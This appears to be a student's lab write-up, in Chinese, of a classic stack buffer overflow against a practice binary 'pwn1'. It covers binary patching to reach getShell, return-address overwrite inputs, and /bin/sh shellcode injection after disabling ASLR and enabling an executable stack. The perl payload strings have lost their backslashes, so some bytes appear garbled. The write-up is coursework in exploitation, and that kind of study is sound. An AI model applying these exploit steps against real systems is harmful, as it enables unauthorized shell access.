zoukankan      html  css  js  c++  java
  • 20165302 程上杰 Exp1 PC平台逆向破解

    实验内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。容

    基础知识

    • 熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi。

    实验步骤

    一,直接修改程序机器指令,改变程序执行流程

    • 输入objdump -d pwn1 | more反汇编pwn1,可以看到call 8048491,是说将调用地址为8048491的foo函数,对应机器指令为“e8 d7ffffff”

    • 我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行,为c3ffffff

    • cp pwn1 pwn2

    • vi pwn1

    • 在vi内 ①按ESC键②输入:%!xxd③输入/d7④修改d7为c3⑤转换16进制为原格式:%!xxd -r ⑥:wq保存退出

    • 再反汇编看一下,call指令是否正确调用getShellroot
      objdump -d pwn1 | more

    二,通过构造输入参数,造成BOF攻击,改变程序执行流

    • gdb pwn2
    • r
    • info r
    • r
    • 观察eip的值为0x35353535,如果输入字符串1111111122222222333333334444444412345678,eip的值为0x34333231
    • 退出gdb,输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    • 使用16进制查看指令xxd查看input文件的内容
    • (cat input; cat) | ./pwn1

      破解成功

    三,注入Shellcode并执行

    • 输入指令apt-get install execstack安装execstack
    • execstack -s pwn1
    • execstack -q pwn1
    • 'echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
    • perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • ps -ef | grep pwn能看见当前运行pwn3的进程号为35148
    • 在gdb里面attach 35148进行调试
    • disassemble foo反编译
    • ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae
    • c
    • info r esp查看esp寄存器地址
    • x/16x 0xffffd30c以16进制形式查看0xffffd30c地址后面16字节的内容
    • perl -e 'print "A" x 32;print"x10xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • (cat input_shellcode;cat) | ./pwn1

      成功!!!
  • 相关阅读:
    课堂练习四
    手头软件产品的评价
    学习进度条十
    典型用户和用户场景描述
    学习进度条九
    学习进度条八
    冲刺第十天
    冲刺第九天
    冲刺第八天
    冲刺第七天
  • 原文地址:https://www.cnblogs.com/dky20165302/p/10539070.html
Copyright © 2011-2022 走看看